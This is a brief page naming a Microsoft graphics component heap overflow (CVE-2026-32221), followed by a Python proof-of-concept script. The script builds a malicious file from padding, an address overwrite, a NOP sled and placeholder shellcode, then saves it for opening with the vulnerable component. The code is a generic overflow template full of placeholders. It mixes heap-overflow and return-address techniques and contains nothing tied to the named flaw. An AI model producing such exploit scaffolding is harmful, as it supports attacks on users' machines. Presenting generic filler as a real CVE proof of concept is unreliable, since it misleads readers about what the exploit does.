CVE-2026-32221 Microsoft图形组件堆溢出漏洞

import struct # Proof of Concept for CVE-2026-32221 # This script demonstrates the structure of a malicious payload # designed to trigger the heap buffer overflow. def generate_malicious_payload(): # Header for the specific graphics format header = b'\x4D\x47\x43\x00' # Padding to reach the vulnerable buffer offset padding = b'A' * 120 # Overwrite return address or function pointer # Address to jump to (e.g., ROP gadget or shellcode) overwrite_addr = struct.pack('<I', 0xdeadbeef) # Payload (NOP sled + Shellcode) nop_sled = b'\x90' * 32 # Placeholder for calc.exe shellcode shellcode = b'\xCC' * 64 payload = header + padding + overwrite_addr + nop_sled + shellcode return payload if __name__ == "__main__": poc = generate_malicious_payload() print("[+] Malicious payload generated.") print(f"[+] Payload length: {len(poc)} bytes") # In a real scenario, save this to a file and open with the vulnerable component. with open("exploit_mgc.dat", "wb") as f: f.write(poc)